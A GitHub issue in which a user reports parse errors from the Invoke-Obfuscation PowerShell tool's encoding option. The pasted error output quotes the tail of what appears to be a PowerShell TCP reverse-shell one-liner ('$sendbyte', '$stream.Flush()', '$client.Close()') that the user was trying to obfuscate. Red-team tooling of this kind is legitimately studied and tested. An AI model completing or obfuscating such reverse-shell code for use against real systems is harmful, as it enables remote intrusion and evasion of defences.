Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

"Invoke-Obfuscation.ps1" file code error. #61

Open
siam41164 opened this issue Jul 14, 2023 · 0 comments
Open

"Invoke-Obfuscation.ps1" file code error. #61

siam41164 opened this issue Jul 14, 2023 · 0 comments

Comments

@siam41164
Copy link

when i choose encoding options 5 then show this error when i choose another number show this error but second error code line (1264) was changed, how to solve it?

Invoke-Obfuscation\Encoding> 5
MethodInvocationException: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1178
Line |
1178 | … $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand. …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Exception calling "NewScriptBlock" with "1" argument(s): "At line:1 char:503 + …
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ The string is missing the terminator: ". At line:1 char:503 + …
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ Unexpected token '" ' in expression or statement."

Out-SecureStringCommand: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1264
Line |
1264 | … reStringCommand -ScriptBlock $ObfCommandScriptBlock -PassTh …
| ~~~~~~~~~~~~~~~~~~~~~~
| Cannot validate argument on parameter 'ScriptBlock'. The argument is null or
| empty. Provide an argument that is not null or empty, and then try the command
| again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant